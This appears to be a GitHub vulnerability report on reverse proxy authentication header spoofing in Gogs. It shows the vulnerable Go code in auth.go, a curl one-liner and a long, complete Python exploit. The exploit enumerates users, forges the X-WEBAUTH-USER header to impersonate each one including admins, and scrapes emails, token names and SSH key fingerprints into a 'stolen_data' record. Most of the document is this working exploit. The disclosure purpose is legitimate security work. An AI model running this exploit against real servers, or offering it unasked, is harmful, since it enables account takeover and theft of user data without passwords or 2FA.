Skip to content

Latest commit

 

History

History
322 lines (259 loc) · 11.7 KB

File metadata and controls

322 lines (259 loc) · 11.7 KB

Reverse Proxy Auth Header Spoofing

Summary

After enabling reverse proxy authentication, the authenticatedUser directly trusts the X-WEBAUTH-USER header. If the application exposes it directly or the proxy configuration is improper, attackers can forge the header to impersonate any user.


Details

SINK

File internal/context/auth.go
Line 202
Function authenticatedUser
	if uid <= 0 {
		if conf.Auth.EnableReverseProxyAuthentication {
			webAuthUser := ctx.Req.Header.Get(conf.Auth.ReverseProxyAuthenticationHeader)
			if len(webAuthUser) > 0 {
				user, err := store.GetUserByUsername(ctx.Req.Context(), webAuthUser)
				if err != nil {
					if !database.IsErrUserNotExist(err) {
						log.Error("Failed to get user by name: %v", err)
						return nil, false, false
					}

PoC

#!/usr/bin/env python3
"""
VULN-010: Reverse Proxy Authentication Header Spoofing
=======================================================

VERIFIED: 2026-03-11

Severity: Critical
CVSS 3.1: 9.8 - AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Vulnerability:
  When ENABLE_REVERSE_PROXY_AUTHENTICATION is enabled, Gogs trusts the
  X-WEBAUTH-USER header to authenticate users. If the Gogs server is
  directly accessible (not behind a properly configured reverse proxy),
  attackers can spoof this header to impersonate ANY user.

Attack Prerequisites:
  - ENABLE_REVERSE_PROXY_AUTHENTICATION = true in Gogs config
  - Direct access to Gogs server (bypassing reverse proxy)
  - Knowledge of target username (obtainable via /explore/users - VULN-001)

Impact:
  - Complete account takeover of ANY user including administrators
  - No password or 2FA required
  - Access to all repositories, settings, tokens, SSH keys

Proof of Concept:
  curl http://target:3000/ -H "X-WEBAUTH-USER: admin"

Author: Security Audit Team
Date: 2026-03-11
"""

import requests
import sys
import argparse
import json
import re
from datetime import datetime


class ReverseProxyAuthBypass:
    """Reverse Proxy Authentication Header Spoofing Exploit."""

    def __init__(self, base_url: str, verbose: bool = True):
        self.base_url = base_url.rstrip('/')
        self.verbose = verbose
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Security Research)',
        })

    def log(self, message: str, level: str = "INFO"):
        if self.verbose:
            timestamp = datetime.now().strftime("%H:%M:%S.%f")[:-3]
            symbols = {"INFO": "[*]", "SUCCESS": "[+]", "FAIL": "[-]", "ERROR": "[!]", "WARN": "[~]"}
            print(f"{timestamp} {symbols.get(level, '[*]')} {message}")

    def check_authenticated(self, response: requests.Response, username: str) -> bool:
        """Check if response indicates authenticated as specific user."""
        indicators = [
            f"Signed in as" in response.text and username in response.text,
            "Sign Out" in response.text and f"/{username}" in response.text,
        ]
        return any(indicators)

    def enumerate_users(self) -> list:
        """Enumerate users via /explore/users (VULN-001)."""
        users = []
        try:
            resp = self.session.get(f"{self.base_url}/explore/users", timeout=10)
            # Extract usernames from profile links like: <a href="/username">username</a>
            matches = re.findall(r'<a href="/([^/"]+)">\1</a>', resp.text)
            # Filter out system paths
            excluded = {'explore', 'assets', 'css', 'js', 'repo', 'admin', 'api', 'user', 'install'}
            users = [u for u in set(matches) if u.lower() not in excluded]
            self.log(f"Enumerated {len(users)} users: {users}", "INFO")
        except Exception as e:
            self.log(f"User enumeration failed: {e}", "ERROR")
        return users

    def test_baseline(self) -> bool:
        """Test access without auth header."""
        try:
            resp = requests.get(f"{self.base_url}/", timeout=10)
            return "Sign Out" in resp.text
        except:
            return False

    def impersonate_user(self, username: str) -> dict:
        """Attempt to impersonate a user via X-WEBAUTH-USER header."""
        result = {
            "username": username,
            "success": False,
            "accessible_endpoints": [],
            "stolen_data": {
                "email": None,
                "access_tokens": [],
                "ssh_keys": [],
                "is_admin": False,
            },
        }

        try:
            # Test impersonation
            resp = requests.get(
                f"{self.base_url}/",
                headers={"X-WEBAUTH-USER": username},
                timeout=10
            )

            if self.check_authenticated(resp, username):
                result["success"] = True
                self.log(f"Impersonation successful: {username}", "SUCCESS")

                headers = {"X-WEBAUTH-USER": username}

                # Test sensitive endpoints and extract data
                endpoints = [
                    ("/user/settings", "Profile Settings"),
                    ("/user/settings/email", "Email Addresses"),
                    ("/user/settings/security", "Security Settings"),
                    ("/user/settings/applications", "Access Tokens"),
                    ("/user/settings/ssh", "SSH Keys"),
                    ("/admin", "Admin Panel"),
                ]

                for path, name in endpoints:
                    try:
                        resp = requests.get(
                            f"{self.base_url}{path}",
                            headers=headers,
                            timeout=5
                        )
                        if resp.status_code == 200 and "Sign Out" in resp.text:
                            result["accessible_endpoints"].append(name)
                            self.log(f"  ✓ {name}: Accessible", "SUCCESS")

                            # Extract sensitive data
                            if path == "/user/settings/email":
                                # Extract email addresses
                                emails = re.findall(r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}', resp.text)
                                # Filter out common non-user emails
                                emails = [e for e in emails if 'example' not in e.lower() or username.lower() in e.lower()]
                                if emails:
                                    result["stolen_data"]["email"] = emails[0]

                            elif path == "/user/settings/applications":
                                # Extract access token names
                                tokens = re.findall(r'<strong>([^<]*token[^<]*)</strong>', resp.text, re.I)
                                result["stolen_data"]["access_tokens"] = tokens

                            elif path == "/user/settings/ssh":
                                # Extract SSH key info
                                keys = re.findall(r'<strong>([^<]+)</strong>\s*<div class="print meta">\s*(SHA256:[^\s<]+)', resp.text, re.S)
                                result["stolen_data"]["ssh_keys"] = [{"name": k[0], "fingerprint": k[1]} for k in keys]

                            elif path == "/admin":
                                result["stolen_data"]["is_admin"] = True

                    except:
                        pass

                # Print stolen data summary
                if result["stolen_data"]["email"]:
                    self.log(f"    → Email: {result['stolen_data']['email']}", "INFO")
                if result["stolen_data"]["access_tokens"]:
                    self.log(f"    → Access Tokens: {result['stolen_data']['access_tokens']}", "INFO")
                if result["stolen_data"]["ssh_keys"]:
                    for key in result["stolen_data"]["ssh_keys"]:
                        self.log(f"    → SSH Key: {key['name']} ({key['fingerprint']})", "INFO")
                if result["stolen_data"]["is_admin"]:
                    self.log(f"    → ADMIN PRIVILEGES CONFIRMED!", "SUCCESS")

            else:
                self.log(f"Impersonation failed: {username}", "FAIL")

        except Exception as e:
            self.log(f"Error testing {username}: {e}", "ERROR")

        return result

    def run_exploit(self, target_users: list = None) -> dict:
        """Run full exploitation."""
        results = {
            "vulnerable": False,
            "target": self.base_url,
            "vuln_id": "VULN-010",
            "vuln_name": "Reverse Proxy Authentication Header Spoofing",
            "severity": "Critical",
            "impersonated_users": [],
            "error": None,
        }

        print("\n" + "=" * 60)
        print("VULN-010: Reverse Proxy Auth Header Spoofing")
        print("=" * 60)
        print(f"Target: {self.base_url}")
        print("=" * 60 + "\n")

        # Step 1: Baseline test
        self.log("Testing baseline (no auth header)...", "INFO")
        if self.test_baseline():
            self.log("Already authenticated without header - test invalid", "WARN")
            results["error"] = "Baseline shows authenticated state"
            return results
        self.log("Baseline: Not authenticated (expected)", "SUCCESS")

        # Step 2: Get target users
        if not target_users:
            self.log("Enumerating users via /explore/users...", "INFO")
            target_users = self.enumerate_users()

        if not target_users:
            self.log("No target users found", "ERROR")
            results["error"] = "No users to test"
            return results

        # Step 3: Test impersonation
        print("\n[Testing Header Spoofing]")
        print("-" * 40)

        for username in target_users:
            result = self.impersonate_user(username)
            if result["success"]:
                results["vulnerable"] = True
                results["impersonated_users"].append(result)

        # Summary
        print("\n" + "=" * 60)
        if results["vulnerable"]:
            print("VULNERABILITY CONFIRMED!")
            print("=" * 60)
            self.log(f"Successfully impersonated {len(results['impersonated_users'])} users", "SUCCESS")
            self.log("Attack vector: Add header 'X-WEBAUTH-USER: <username>'", "INFO")
            self.log("Impact: Complete account takeover without password/2FA", "INFO")
        else:
            print("NOT VULNERABLE")
            print("=" * 60)
            self.log("Reverse proxy auth may be disabled or properly configured", "INFO")

        return results


def main():
    parser = argparse.ArgumentParser(
        description="VULN-010: Reverse Proxy Auth Header Spoofing PoC",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Example:
  # Auto-enumerate users and test
  python3 poc_VULN_010_reverse_proxy_auth.py http://localhost:3000

  # Test specific users
  python3 poc_VULN_010_reverse_proxy_auth.py http://localhost:3000 -u admin,root,gogsadmin

Manual verification:
  curl http://target:3000/ -H "X-WEBAUTH-USER: admin"
        """
    )

    parser.add_argument('target_url', help='Target Gogs URL')
    parser.add_argument('-u', '--users', help='Comma-separated list of usernames to test')
    parser.add_argument('-q', '--quiet', action='store_true', help='Quiet mode')

    args = parser.parse_args()

    target_users = args.users.split(',') if args.users else None

    exploit = ReverseProxyAuthBypass(args.target_url, verbose=not args.quiet)
    results = exploit.run_exploit(target_users)

    print("\n" + "=" * 60)
    print("RESULT SUMMARY")
    print("=" * 60)
    print(json.dumps(results, indent=2, ensure_ascii=False))

    sys.exit(0 if results["vulnerable"] else 1)


if __name__ == "__main__":
    main()

Impact

image